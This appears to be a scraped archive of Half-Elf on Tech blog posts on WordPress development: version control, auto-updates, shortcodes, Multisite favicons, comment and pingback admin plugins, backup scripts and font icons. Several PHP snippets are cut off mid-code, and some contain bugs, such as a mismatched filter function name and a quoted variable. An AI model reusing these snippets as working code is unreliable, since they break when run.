It’s hard to trust the tool, and just as it took me months to get used to the iPad’s way of saving files, you have to get used to how version control saves things. This isn’t FTP where you’re always replacing a whole file, you’re making incremental changes. A check in is not a delete and replace (unless you’re using some of the horrific tools I’ve had the dubious pleasure of using in the past). Getting past that one hurdle will make your life much better with any tool you use.
As for never deleting, I come to this from working at a bank. We never deleted anything. Ever. Not once. You always keep all versions of your code, even the broken stuff, because legally you had to. But in the end, I feel that was a great practice to get into. Disk space is cheap and you won’t ‘run out’ of space any time soon. I keep a copy of every plugin’s latest version on my hard drive, and I’m not out of space.(I don’t have SVN checkouts, that would be a little much.) Also there’s no point to deleting your older code, since they’ll just show up in SVN anyway. It remembers everything you checked in. Ever.
Now, I cannot give you advice on the best way to tag or branch code, as each person comes up with their own methodology. I will say this: Don’t use ‘trunk’ as your stable releases on SVN. Git’s a little different, but I wouldn’t use it there either. Instead, use trunk as your playground. When you have a functional change, commit that minor change. When you have a major change and it’s ready to go, tag it and release it. In that way, your beta testers can safely use trunk, and your normal users never get hurt. By the way, making frequent commits may feel like a smart move, but you don’t need to. Check in a working copy. Oh and don’t go back and edit your tagged versions, unless it’s a very minor change. Someone is sure to have downloaded it, just tag a new version and go forward. As I always explained to people at the bank “You don’t go backwards with code, you go forward.”
I don’t expect this to be a perfect primer on how to use version control, nor was it meant to be, but I hope I demystified it a little. If you have great primers for people on SVN or GIT, aimed at first time users, please share them!
**Categories:** How It Is, How It Works
**Tags:** coding, svn
---
### [World Time Event Shortcode](https://halfelf.org/2013/world-time-event-shortcode/)
**Published:** May 5, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Embed a time-zone friendly event notice in your blog posts? Why not!
**Content:**
I had a need. A need for timezones. I happened to post about an event happening at 2pm ET, under the mistaken assumption that people knew how to convert timezones, or at least go to a website for it. Instead, after a weekend full of emails and me snapping at them for being under educated (don’t schools teach this stuff anymore?) I linked them to a page.
Then I thought “Well heck, they won’t click that. Why not embed it.” Alas, TimeAndDate.com didn’t let you embed, but worldtimebuddy.com does. With a hat tip to Rarst for the link, I pulled this shortcode out:
I can’t make this a plugin because it has a powered-by link, and while I *could* remove it, I won’t. If the link was put in by the script itself and not my return, it’d be fine for the repo, but since I’m only going to use this a few times, I’m leaving it be.
**Categories:** How To
**Tags:** coding, shortcode, wordpress
---
### [DreamHost Logo ala CSS](https://halfelf.org/2013/dreamhost-logo-ala-css/)
**Published:** May 7, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making a logo with CSS is pretty fun and cool. Props to Clee, my coworker.
**Content:**
This was done by Clee, my coworker. I tweaked it, prefacing things with `dh` to make it more portable and then slapping it into a shortcode so I could embed it here:
The code is as follows (you can see his original code at [codepen](http://codepen.io/anon/pen/bmprK)):
Now actually that’s not CSS, it’s LESS, which I can’t inline apparently (or maybe I just don’t know how). Either way, it’s a funky cool CSS trick!
**Categories:** How To
**Tags:** coding, css, shortcode, wordpress
---
### [Shortcode: MLB.TV](https://halfelf.org/2013/shortcode-mlb-tv/)
**Published:** June 23, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A quick shortcode to show MLB.TV videos.
**Content:**
I like baseball, I like the Indians. I like embedding content. Why MLB.tv likes to make their stuff not easily embeddable is beyond me. I think `[mlbtv id=28142247]` is way easier to deal with if I’m using the visual editor. I grabbed the default sizes from their settings.
\[mlbtv id=28142247\]
Looks just fine.
**Categories:** How To
**Tags:** coding, shortcode, wordpress
---
### [Don't Fear The Auto Update](https://halfelf.org/2013/dont-fear-the-auto-update/)
**Published:** October 28, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** WordPress Auto-Updates are not terrible, they're not evil, and this comes from a woman with tinfoil in her hats. They're okay by me.
**Content:**
I was not surprised to see the backlash to Auto Updates. We spent a lot of time trying to figure out how to explain to people that while you can disable it, we really, really, really, really, don’t want you to, and basically ended up with a Codex page that explained how to configure it and then Nacin’s followup post that is, indeed, [the definitive guide to disabling updates](http://make.wordpress.org/core/2013/10/25/the-definitive-guide-to-disabling-auto-updates-in-wordpress-3-7). But people hate it or love it, and there’s no middle ground. This was, as I implied, somewhat expected.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/10/3445973356_2f8510869b.jpg)Reasons why people hate it have varied from “I want to control my own updates!” to “This 3.7 upgrade broke something, so clearly you’re not ready!” Oh and don’t forget “You suck, I hate this! Why would you default this to on!?”
I want to stress one really important thing here. The automatic background updates for WordPress are for *minor updates only*. We’re not talking about auto-upgrading people from 3.7 to 3.8, but just 3.7 to 3.7.1 – These are small, minor, updates. When someone comes to me and complains that major releases don’t always work, I have actually said, “So? We’re not talking about major releases.” And of course, “You *are* making good backups on these super important websites, right? Right?”
It’s really easy to get bogged down with all the variable permutations about what updates could include and forget that WordPress started out simple. Yes, it’s defaulted to “on” because after intensive testing, and careful thought, WordPress core devs are pretty darn sure that these minor updates, which are more often than not security related, will not break a site. I’ll get back to breaking sites in a second. The point is that minor updates were picked specifically because it’s known that major upgrades can often break things.
Why is it defaulted to on? This is my reasoning here… Because the people who wouldn’t turn it on are the people who need it most. If they don’t know it can be turned on, they won’t do it. And they need it. The people who don’t read all the nerdy things are the ones who are still running WordPress 3.4 (no I’m not kidding). I spend a lot of time debugging WP without ever seeing or really ever looking at their site. I know a lot of users don’t upgrade because of laziness, or fear, so I want to address this (see? told you I’d get back to breaking sites).
### Don’t fear updates
I said this on Twitter: If your site breaks every time you update WordPress, it’s time for a theme and plugin audit.
So what’s an audit? How does one audit?
It’s really simple. I have a longer presentation I give on this, but let’s go over how simple and basic this is.
**Who is the author?**
This is really obvious. With one exception, every plugin I use that’s made by core developers is updated to fix problems right away. It’s tested on versions of WordPress in the Beta stage, or even on trunk. It’s reliable because the *author* is reliable. Using a plugin by Mark Jaquith? No fear!
**How active is the author?**
Sometimes even I have no idea who that author is, so I look them up. And I want to see how active they are in WordPress. If someone is engaging on trac and writing plugins and themes, and posting about WordPress, yes, I take the time to read up on them. Remember, I’m auditing the plugin! So I want to see that this author is active and writes or contributes in a way that I approve of. That helps me trust them. Now I’m not expecting them to code as prolifically as Nacin, or write as frequently as Chris Lema, or even scour trac like Scribu. I have realistic expectations. One of my favorite developers is ‘try-lingual’ when it comes to CMSs, so I’ll check on her to see if she’s able to keep up with all the myriad CMSs her code works on. She knows about every release coming up? No fear!
**How popular is it?**
The more a plugin is used, the more people are banging on it in a diverse myriad of environments in ways the author probably never imagined. This is good. This means that the odds are higher than normal that the plugin will work on a bog-standard setup. It also means if I have a common server type (shared) it will probably work. The odds also go up for a more active volunteer environment. Popular plugin, used by thousands? No fear!
**How often is it updated?**
This is a careful thing. I don’t particularly worry if a plugin is old (i.e. not updated in over two years) if the plugin is simple, or made by someone very reliable. Heck, I haven’t touched the code in Impostercide in years, but I do update the readme every couple of WordPress releases to avoid people thinking it’s been abandoned. That said, I do like to see if the complicated ones are at the very least updating their readmes to say “yes, compatible up to the most recent version.” That tells me not only are they testing, but they’re aware of what’s going on in WordPress. Updates are reasonable? No fear!
**What does the code look like?**
[](https://halfelf.org/wp-content/uploads/sites/2/2013/10/william-sadler-iron-man-3-bill-and-ted.jpg)This is hard. This is really hard. I review plugins, and write them, and it’s just plain *hard* okay? If I’m lucky, I don’t actually have to do this. Examples? Okay, try [StudioPress’ Genesis Theme](http://www.shareasale.com/r.cfm?b=346200&u=728549&m=28169&urllink=&afftrack=). I don’t look at their code, unless I need to make a child theme. Even then, it’s a case of trusting them to do the best by me. I believe in their code more than mine most of the time. Another example? Anything managed by WordPress.org. But what about the rest? When it’s simple, I can read through the code, make sure it’s not doing anything nefarious and move on. When it’s not, I hire someone else to do it. You heard me. I pay people to do what I can’t *because an audit of code is important*. Now I don’t do this for every site. Personal/play sites? I may wing it, knowing I make good backups. But a big, company site? Oh you bet every single line of code was checked. Good code? No fear!
### Really? No fear?
No. Not really. You have to keep in mind that none of these are absolutes. I don’t look at just one thing and say “Done, I have no fear.” I mean, I say ‘no fear’ in these explanations, but the truth is it’s the combination of these things that makes me fear *less*. WordPress is doing a good thing here and I’m not afraid of it.
And in case you’re wondering, I’m using auto-updates on all my sites.
**Categories:** How It Works
**Tags:** coding, security, updates, wordpress
---
### [Genesis Favicons Multistyle](https://halfelf.org/2014/genesis-favicons-multistyle/)
**Published:** June 30, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Multisite? Favicons? Genesis? Why yes, let's make them sing!
**Content:**
For the longest time I used .htaccess to shunt my favicons to the right place based on the requesting domain. This basic logic worked well, but was starting to get weird and it didn’t always work depending on if I was using pagespeed to trim out leading domains or not, and of course when I tightened security it got weirder.

Now I’ve know you can use [custom favicon in Genesis](http://my.studiopress.com/snippets/images/#custom-favicon) and that’s pretty simple. But … I have to make my life complicated. See I use Multisite *and* I don’t edit my themes. No, really, this theme? I only edited it to update it. I don’t edit them, I use custom CSS and functions to edit via hooks and filters, the way you’re supposed to.
So how do I override favicons for five sites on a Multisite? Why with an MU Plugin!
/*
Plugin Name: Favicon Replacement
Description: Replace Favicons
Version: 1.0
*/
// No, you may not have your favicon
remove_action('genesis_meta', 'genesis_load_favicon');
global $blog_id;
if ( $blog_id == 2 ) { // EXAMPLE1.COM
add_filter( 'genesis_pre_load_favicon', 'example1com_favicon_filter' );
function example1com_favicon_filter( $favicon_url ) {
return 'http://example.com/images/favicons/example1.ico';
}
} elseif ( $blog_id == 3 ) { // EXAMPLE2.ORG
add_filter( 'genesis_pre_load_favicon', 'example2com_favicon_filter' );
function example2com_favicon_filter( $favicon_url ) {
return 'http://example2.com/images/favicons/example2.ico';
}
} elseif ( $blog_id == 4 ) { // SUB.EXAMPLE.COM
add_filter( 'genesis_pre_load_favicon', 'subexample1com_store_favicon_filter' );
function subexample1com_store_favicon_filter( $favicon_url ) {
return 'http://sub.example.com/images/favicons/sub-example.ico';
}
} else { // This will fill in EXAMPLE as well
add_filter( 'genesis_pre_load_favicon', 'example_favicon_filter' );
function ipstenu_favicon_filter( $favicon_url ) {
return 'http://example.com/images/favicons/example.ico';
}
}
[/php]
To explain quickly, the code checks for site #2, shows a specific favicon, and does it for #3 and #4 before defaulting to the main site. I 'hard code' in the full URL to make sure I don't mess it up and there isn't any crazy cross site shenanigans. Obviously this will get a little long over time, and if I ever stop using Genesis for a site, I'll instead hook into
**Categories:** How To
**Tags:** coding, favicon, genesis, wordpress
---
### [All Comments By Email](https://halfelf.org/2014/all-comments-by-email/)
**Published:** August 4, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A WordPressy way to list all comments by email address from the comments page.
**Content:**
By default, when you look at the list of comments on your WP Admin dashboard, you get a list like this:

On that list, if you click on the IP address of the commenter, you go to all comments by that IP, but if you click on the *email* you get a mailto link, to let you email the person. That’s great, but as my friend, and fellow fansite runner, Liv pointed out, a lot of people post from multiple IP addresses these days, but only one email. What she wanted was for the icon that gave you the number of approved comments to link to that person’s approved comments.
Me, being the sort to poke around, decided to see if that could be done. I already knew how to filter columns and tables, after all. What I learned was that there actually isn’t a filter for those columns, and the only way around it was to replace it. This means I was going to have to rebuild everything, and in doing so, I wanted that email address to be a link to the search. While annoying, it was pretty easy:
```
50 )
$author_url_display = substr( $author_url_display, 0, 49 ) . '…';
echo ""; comment_author(); echo ' ';
if ( !empty( $author_url ) )
echo "$author_url_display ";
if ( current_user_can( 'edit_posts' ) ) {
$author_email = get_comment_author_email();
if ( !empty( $author_email ) ) {
echo '';
echo $author_email;
echo ' ';
}
echo '';
comment_author_IP();
echo ' ';
}
}, 10, 2 );
}
public function column_style() {
echo '';
}
}
new ecsbePlugin();
```
The plugin needs a way better name, though, because this is just … bad. The array slice in the beginning was to remove the first item and replace it, without having to do a lot of overly wrought arguing with possible columns.
That said, this is the sort of thing I may submit a patch for in core, since IPs change a heckuvalot more now, and while that’s a great way to find some serial-accounts and sockpuppets, sorting by email helps you find people being trolls. Both would be good, and I don’t think a lot of us email people. If anything, I’d change the author NAME to be a mailto link.
Food for thought.
**Categories:** How To
**Tags:** coding, comments, wordpress
---
### [Local Backups](https://halfelf.org/2014/local-backups/)
**Published:** June 20, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making regular backups on your own computer of your website isn't just smart, it's super smart. Here's how I do it.
**Content:**
You heard about [CodeSpaces](http://codespaces.com) didn’t you?
On June 17th they got hit with a DDoS. It happens. On June 18th, the attacker deleted their data. And the backups. Because the backups were on the same server… You can read the story [here](http://www.databreaches.net/code-spaces-destroyed-in-wake-of-extortion-demand/) and make up your own mind.
But that brings us to this. Are you making your own, personal, backups?
My server makes entire server backups every day and collocates them, but I also have my own backups of my own, personal, data. Not my email. If that blew up today I would lose nothing I can’t get back. That’s right, I don’t keep much email. If it’s important, I store it on my laptop, on iCloud or Dropbox, *and* I backup my laptop to TimeMachine. Oh and I check that backup regularly.
So how do I backup my sites? It’s three fold.

## On the Server
I use a DB script from [Daniel D Vork](http://danieldvork.in/script-for-mysql-backup-to-dropbox/). He backs up files to DropBox, which is cool, but for me, I have this script on my server and it stores to a non-web-accessible folder called ‘backups’:
```
#!/bin/bash
USER="your_user"
PASSWORD="your_password"
OUTPUT="/Users/YOURUSERNAME/backups"
rm "$OUTPUT/*gz" > /dev/null 2>&1
databases=`mysql --user=$USER --password=$PASSWORD -e "SHOW DATABASES;" | tr -d "| " | grep -v Database`
for db in $databases; do
if [[ "$db" != "information_schema" ]] && [[ "$db" != _* ]] ; then
echo "Dumping database: $db"
mysqldump --force --opt --user=$USER --password=$PASSWORD --databases $db > $OUTPUT/`date +%Y%m%d`.$db.sql
gzip $OUTPUT/`date +%Y%m%d`.$db.sql -f
fi
done
```
That script is called every day at midnight via a cron job.
## Bring it local
On my laptop, under the `~/Sites/` folder, I have a folder for each domain. So there’s one for ipstenu.org (which is where this site lives), and in there are the following:
```
backup-exclude.txt backup.sh log.txt
public_html/
```
The `public_html` folder is a full backup of my site files. It’s not that crazy, don’t panic.
The `backup.sh` file does an rsync:
```
#!/bin/sh
cd $(dirname $0)
TODAY=$(date)
echo "
-----------------------------------------------------
Date: $TODAY
Host: ipstenu.org hosted sites
-----------------------------------------------------\n" > log.txt
echo "Backup files..." >> log.txt
rsync -aCv --delete --exclude-from 'backup-exclude.txt' -e ssh backups@ipstenu.org:/home/ipstenu/public_html/ public_html > log.txt
echo "\nBackup databases..." >> log.txt
rsync -aCv --delete --exclude-from 'backup-exclude.txt' -e ssh backups@ipstenu.org:/home/ipstenu/backups/ databases >> log.txt
echo "\nEnd Backup. Have a nice day." >> log.txt
```
Backups is not the name of the account but I do have a backup only account for this. The `backup-exclude.txt` file it calls lists folders like ‘cache’ or ‘mutex’ so I don’t accidentally back them up! It’s simply just each file or folder name that I don’t want to backup on it’s own line. And yes, I like pretty output in my logs so I can read them when I’m having a brainless moment.
The `cd $(dirname $0)` at the beginning is so that I can call this from other folders. Remember! If your script uses relative paths to access local resources, then your script will break if you call if from another folder. This has a reason why in the next section.
## Automate that shit!
I’m on a Mac. I decided I wanted that backup to run every time I logged in to my computer. Not rebooted, logged in. And waking from sleep. That became problematic, but let’s get into this code.
### Writing the scripts
First I made a new folder called `~/Development/backups` and I’ll be stashing my code there. In there I have a couple files. First is `website-backup.sh`:
```
#!/bin/sh
/Users/ipstenu/Sites/ipstenu.org/backup.sh
/Users/ipstenu/Sites/othersite.net/backup.sh
```
Basically for every site I want to run backup for, it’s in there. This is why I have the change-directory comment on the backup scripts.
The other file is my launchd file, called `com.ipstenu.website-backups.plist` and I got this code from [stackexchange](https://stackoverflow.com/questions/6442364/running-script-upon-login-mac/13372744#13372744):
```
Label
com.ipstenu.website-backups
Program
/Users/ipstenu/Development/backups/website-backup.sh
RunAtLoad
```
Instead of copying the file, though, I did a symlink:
```
ln -sfv /Users/ipstenu/Development/backups/com.ipstenu.website-backups.plist ~/Library/LaunchAgents
```
This lets me change it if I need to, which I doubt I will. I’ll just edit that .sh script. The filename of the plist is intentional to tell me what the heck it is.
But wait, what about waking from sleep? Logging in from a sleeping computer is not the same as a log in to a Mac, and there’s no built in tool to monitor sleep and wake for some reason. There are apps that can do it, but there’s also SleepWatcher, which can be installed via [Brew](https://halfelf.org/2014/its-not-beer-its-homebrew/ "It’s Not Beer It’s Homebrew")! Since I’m running an rsync, it’s not a big deal to run multiple times a day. Heck it may actually be faster.
First we install Sleepwatcher:
```
brew install sleepwatcher
```
Now Sleepwatcher looks for user scripts named `~/.sleep` and `~/.wakeup` which sure makes my life easier. My `~/.wakeup` file calls `website-backup.sh`, and while I could have it repeat the code, I chose not to for a reason. I know my backup scripts will live in `~/Development/backups/` so I can add a new one for something else without messing around with more than one file.
Do you remember launchd a moment ago? We want to use that again to tell Sleepwatcher it’s okay to run on startup or login. This time, since we’re only using Sleepwatcher for sleep and wake, we can symlink the sample files to the proper LauchAgents directories. In my case, it’s only running for me, so it’s all local:
```
ln -sfv /usr/local/Cellar/sleepwatcher/2.2/de.bernhard-baehr.sleepwatcher-20compatibility-localuser.plist ~/Library/LaunchAgents
```
If you’re interested in doing more with sleepwatcher, read [Mac OS X: Automating Tasks on Sleep](http://www.kodiakskorner.com/log/258) by Kodiak.
Finally we’re going to load both of these commands into launchctl:
```
launchctl load ~/Library/LaunchAgents/com.ipstenu.website-backups.plist
launchctl load ~/Library/LaunchAgents/de.bernhard-baehr.sleepwatcher-20compatibility-localuser.plist
```
Now every time I log in on my laptop, it runs a backup, be that a real login, or a wake-from-sleep one.
And remember, this is on top of my full server backups and my personal git repository for my code, so I have my data backed up in the important places. Everything on my laptop is backed up to the TimeMachine, so really I can just look back a year or three and find that html file I used once.
The other thing I do is check these backups pretty regularly. I scheduled a day every month to check that everything’s working right, that the files are restorable, and that I feel secure. Thus far, the most I’ve lost has been 16 hours of work on a Wiki.
**Categories:** How To
**Tags:** backup, coding, essay, website
---
### [Mailbag: Pinging Pingbacks](https://halfelf.org/2014/mailbag-pinging-pingbacks/)
**Published:** July 25, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Handling ping backs and managing your link backs.
**Content:**
I run a fan site, and so does a friend of mine. Liv and I were chatting about wishlists in WordPress for fansites, and she mentioned this:
> I also like seeing who has linked to my site from other WP blogs because that helps me create fandom connections with other bloggers. I wish there was a quick button I could hit that would allow me to email those bloggers with a quick note of thanks for the connection
When you’re running a fan website, communicating and connecting with those other sites is a killer feature. We network and that’s how we make our communities bloom, after all, since most of us can’t afford a budget for ‘real’ advertising, and it’s probably not entirely legal for us to do that anyway. So outside of spending days tracking everyone down, what about using the power of ping-backs for ourselves?

I’m sure Liv has an unshakable confidence in my ability to code her things (and I love the requests she makes, they stretch my brain) but this one kicked my patootie a lot. Getting a list of pingbacks isn’t all that hard. There’s a plugin called [Commenter Emails](https://wordpress.org/plugins/commenter-emails/) by Scott, which nicely lists all the email addresses used to make comments. Using that logic, it’s pretty easy to list all the pingbacks. I mean, hey, we can already do that!
If you go to `/wp-admin/edit-comments.php?s&comment_status=all&comment_type=pings` you’ll see all your pings:

Just looking at that, however, made me notice a horrible problem. There are no emails listed in pingbacks. This makes perfect sense. The emails aren’t (generally) listed on a page that links to your site. That means without doing some *serious* site-scraping, there’s no way to get that email.
Putting that aside, the other option is to, perhaps, list the ‘parent’ domain that pinged you. So I went back to Scott’s plugin and forked it into this:
```
comments} t1
INNER JOIN ( SELECT MAX(comment_ID) AS id FROM {$wpdb->comments} GROUP BY comment_author_url ) t2 ON t1.comment_ID = t2.id
WHERE
comment_approved = '1' AND
comment_type = 'pingback'
GROUP BY comment_author_url
ORDER BY comment_author_url ASC";
$pings = $wpdb->get_results( $sql, $output );
return $pings;
}
/**
* Creates the admin menu.
*
* @return void
*/
public static function admin_menu() {
add_filter( 'plugin_action_links_' . self::$plugin_basename, array( __CLASS__, 'plugin_action_links' ) );
// Add menu under Comments
self::$plugin_page = add_comments_page( __( 'Pinger List', 'pinger-list' ), __( 'Pinger List', 'pinger-list' ),
apply_filters( 'manage_commenter_pings_options', 'manage_options' ), self::$plugin_basename, array( __CLASS__, 'admin_page' ) );
}
/**
* Adds a 'Settings' link to the plugin action links.
*
* @param array $action_links The current action links
* @return array The action links
*/
public static function plugin_action_links( $action_links ) {
$settings_link = '' . __( 'Listing', 'pinger-list' ) . ' ';
array_unshift( $action_links, $settings_link );
return $action_links;
}
/**
* Outputs the contents of the plugin's admin page.
*
* @return void
*/
public static function admin_page() {
$pings = self::get_pings();
$pings_count = count( $pings );
echo '';
echo '
' . __( 'Ping List', 'pinger-list' ) . ' ';
echo '
' . sprintf( __( 'There are %s unique ping locations for this site.', 'pinger-list' ), $pings_count ) . '
';
echo '
';
echo '';
echo '
' . __( 'All Pings', 'pinger-list' ) . ' ';
echo '
';
echo '' . __( 'Post', 'pinger-list' ) . ' ' . __( 'Source', 'pinger-list' ) . ' ' . __( 'Direct Link', 'pinger-list' ) . ' ';
foreach ( $pings as $item ) {
$pings_url = parse_url(esc_html( $item[2] ));
$ping_url = $pings_url[scheme].'://'. $pings_url[host];
echo ''. get_the_title($item[0]) .' ';
echo '' . make_clickable($ping_url).' ';
echo ''. esc_html( $item[1] ) . ' ';
}
echo '
';
echo '
' . sprintf( __( '%s pings listed.', 'pinger-list' ), $pings_count ) . '
';
echo '
';
}
} // end PingersList
PingersList::init();
endif; // end if ! class_exists()
```
The plugin’s crazy basic. It simply checks for unique ping sources and lists them. So if the same ‘main’ site links to you 10 times from 10 separate posts, it lists that. Probably a nice tweak would be to order them by domain, list the posts they link to and from where, and have a group by sort of list, but I didn’t get that far into it. Forks welcome, as are full blown plugins!
**Categories:** How To
**Tags:** coding, comments, wordpress
---
### [Customize Network Toolbars](https://halfelf.org/2014/customize-network-toolbars/)
**Published:** August 20, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A quick mess with your 'My Sites' list on WordPress Multisite
**Content:**
This came up in the WordPress Support Forums. If you use Multisite, the WordPress toolbar (at the top of your site when logged in) has a special item called “My Sites” which shows all the sites of which you are an administrator. This is great and works as a quick jump to get to a different site really fast. It has problems, though, in that if you make a network with a bunch of sites named the same thing, it’s hard to tell which site you’re on.
Now I know what you’re thinking! “Mika!” You say. “Mika, come on, no one has 100 sites with the same name unless they’re [doing what you say is a terrible idea, and duplicating sites!](https://halfelf.org/2012/duplication-dillution/ "Duplication Dilution")!”
Au contraire, mon frère. There are a few totally understandable reasons why this might happen. Fairly recently I was helping a school sort out Multisite, and they wanted a site for each classroom (easy) and the names of the sites would all be the same: *Super Cool School – Class Frog*
And their ‘My Sites’ list was all the same.

As you can see, WordPress wisely puts a practical limit on the title length, which makes sense. Now when I was faced with this problem, I remembered something that had come up in the forums, where someone wanted the ‘language’ of the site to show up in the site list, so his sites would be showing as “SiteName (en)” and so on. Since he was using the site path (en, de, etc) as the site’s slug, it was easy for him to come up with this, once I (accidentally) pointed him the right way:
```
user->{'blogs'};
foreach($mysites as $site) {
$site->blogname .= ' (' . $site->path . ')';
}
}
add_action('admin_bar_menu', 'helf_customize_my_sites');
```
I say it was an accident because I did read the question wrong, but it actually gave me the answer to my schools. They *too* used the classroom name as the site path, so for them I changed one line:
```
foreach($mysites as $site) {
$site->blogname = '$site->path';
}
```
That was it. Now the sites showed up the way they wanted.
**Categories:** How To
**Tags:** coding, multisite, wordpress
---
### [Why I Like Font Icons](https://halfelf.org/2014/why-i-like-font-icons/)
**Published:** October 27, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I really do love Font Icons, and here's why I do and how I use them and how you can too.
**Content:**
I really like Font Icons and I’m willing to bet there was a period of time you did to, way before we had the Internet on our phones. Do you remember Wing Dings?
[](https://halfelf.org/wp-content/uploads/sites/2/2014/10/Wingdings-cubed-spherized-B.png)
When I was a kid they were awesome. We used them to print up secret code letters in the ’80s, using the basic letter shift kind of cypher. Wing Dings is, at its heart, a font icon. This means it’s a font that uses shapes instead of letters, but unlike Wing Dings where I could type “cat” and get “hand arrow flag”, a modern font icon has special content terms like “f401” that you use instead. Of course those are hard to remember, and we all like to use shortcuts, which I’ll get to in a second.
The reason I love them is that I am a monkey with a crayon when it comes to design. Did you ever try to make an image that, when you rolled the mouse over it, it changed color? Like the official Twitter image you wanted to spin when the mouse hit it? We used to do that with images, CSS sprites, and combine all the images into one large image, load it once, and then with the magic of CSS have different bits load at a time. Sprites and Bitmaps can do that, but adding in **new** icon to the set took time and Photoshop and if you’d lost your designer in the meantime you were out of luck. Font icons lower the bar and make it easier for everyone who can’t design.
Font icons are easy to style. You can resize, recolor, flip, shadow, and apply rollover effects with just some basic CSS. They also scale well which means they were pretty much [born for retina](http://ma.tt/2014/10/retina-5k-mac/). No matter the size of your device or the quality of your screen, the font icon will never look jagged and blurry.
So how do we use them? It’s only three steps and the third is beer. Seriously, though it’s really that simple. Include the font family, just like you would a google font, or do it locally. Call the icon, show the icon.
1. Include the font in your site
2. Call the icon you want with the span html tag ```
```
3. Drink a beer \[ficon family=FontAwesome icon=beer color=brown size=3x\]
That beer is a font icon by the way.
There are plugins, for most of the popular ones, that will let you insert using shortcodes. Those are easy to use for when you want to put an icon in your post content. I wrote two of them, [Genericon’d](https://wordpress.org/plugins/genericond/) (which brings Genericons to your site with shortcodes) and [Fonticode](https://wordpress.org/plugins/fonticode/) (which lets you apply shortcodes to most of the major font icons, provided they’re already included in your theme or another plugin). But wait, there’s more!
As I mentioned, you can use them in CSS, and by that I don’t mean you can style them. What I mean is you can use CSS to call a font icon and put it in a menu, which is a little trickier since you need to use the before call, and that is a little weird. I talked about how to do this before in [ShareDaddy Genericons](https://halfelf.org/2013/sharedaddy-genericons/ "ShareDaddy Genericons") (which is now useless since Jetpack went and did that for everyone) but the point is that you have to mess with CSS and it looks like this:
```
div.sharedaddy .sd-content li a::before {
font-family: 'Genericons';
font-size: 16px;
color: #fff;
}
div.sharedaddy a.sd-button>span {
display: none;
}
div.sharedaddy .sd-content li.share-twitter a::before {
content: '\f202';
color: #4099FF;
}
```
As an example, this is a pretty basic one. The magic sauce here is that I say “**Before** all my links, use the font family Genericons with this size.” And then “**Before** Twitter, I want to show the content \\f202″ That happens to be Twitter’s icon. The color I used is also the official Twitter blue. You can get even fancier and I suggest reading [Justin Tadlock’s post on Social nav menus](http://justintadlock.com/archives/2013/08/14/social-nav-menus-part-2).
The obvious next question is where can you find font icons? Here’s a non-exhaustive list.
- [Genericons](http://genericons.com/)
- [Font Awesome](https://fortawesome.github.io/)
- [Libricons](https://github.com/ry5n/libricons)
- [Octicons](http://octicons.github.com/)
- [Glyphicons](http://glyphicons.com/) (Halflings is GPL, the rest are CC and proprietary)
- [Icomoon](http://icomoon.io/) (free version is GPL, the rest are proprietary)
I will note that some of these are [not GPL](https://halfelf.org/2014/its-not-gpl-and-thats-okay/ "It’s Not GPL and That’s Okay"), so it’s on you to check the licenses for what you want to use them for. Like Glyphicons? You can use their Halflings font freely, but not the full Glyphicon pack. Similarly, Icomoon has a couple font packs that aren’t free and for full distribution, but does have one you can use. So please, please, be careful and be aware. You can use the non-GPL ones on your own site (most of the time) but you can’t package them in a theme or plugin.
Before someone asks, let me talk about Dashicons. That comes in core, so you don’t need to worry about including that. I wouldn’t use it on your site, since it’s meant for the WP Admin back end and nothing more and the size is a little off because of that. You can totally use it on your plugins. So instead of making an image, you can use a Dashicon to be the icon on the menu sidebar. This may one day change, but not today.
All this love doesn’t mean everything’s awesome. There are some issues, like how [Icon Fonts Are Ruining Your Markup](http://noscope.com/2014/icon-fonts-are-ruining-your-markup/). And you should read [Ten reasons we switched from an icon font to SVG](http://ianfeather.co.uk/ten-reasons-we-switched-from-an-icon-font-to-svg/) for some great reasons not to. You also need to keep in mind accessibility, like screen readers, and for that check out [Bulletproof Accessible Icon Fonts](http://www.filamentgroup.com/lab/bulletproof_icon_fonts.html).
Nothing’s insurmountable, and the easy of a font icon without having to mess with GIMP or Photoshop or pretend I know what I’m doing with art is worth it all for me.
**Categories:** How To
**Tags:** coding, design, essay, font
---
### [Better Headers](https://halfelf.org/2015/better-headers/)
**Published:** January 14, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making better headers on your code files will make everyone happier.
**Content:**
I review a lot of code and by extension read a lot of source code files. One of the things that drives me to distraction is trying to sort out what a specific bit of code is licensed. Now, I don’t care about GPL the way a lot of people do. When I’m reviewing plugins for WordPress.org, I only care in that a repository requirement is that all code in your plugin is GPLv2 (or later) compatible. If you’re not hosting on WordPress.org, I only care if I want to use your code and I need to see what the possible restrictions are.
While I’m mostly talking about JS files here, I wish people would remember to put in the right header information for all their code.
## Headers I Hate
It absolutely kills me to see this as the header of a JS file:
```
/*! My Awesome JS - v1.0.0 - 2015-01-14
* http://example.com/myawesomejs/
* Copyright (c) 2015 John Doe */
```
Actually, what’s worse is this:
```
/*! My Awesome JS - v1.0.0 - 2015-01-14 */
```
This means I know nothing about your code license. If I have the URL, maybe I can be really lucky and go there, see a link to your full source code, download, open the zip, and *maybe* you put a license file in there. Most often, however, the answer to that is not. With a lot of newer projects, they link to Github, which is great since I can go and look for that LICENSE file. Github even prompts you about making one when you create a project. Love ’em
Realistically, if you’re releasing code for the world to use then you’ve *got* to license it. Even if you don’t care about licenses, putting a public-domain clause on your code means it’s free for all nations to use is so easy a caveman could do it.
## Headers I Love
Okay, so if you’re making your own JS, what do I think your header should look like?
```
/**!
* My Awesome JS v1.0.0
*
* @copyright Copyright 2015 John Doe
* @author John Doe
* @link http://example.com/myawesomejs/
* http://github.com/johndoe/myawesomejs/
*
* @license Use permitted under terms of CC0 1.0 Universal (CC0 1.0) Public Domain Dedication
* https://creativecommons.org/publicdomain/zero/1.0/
* http://example.com/myawesomejs#license
*/
```
That’s it. Obviously that’s the non-minified version. If I wanted a minified version it would be this:
```
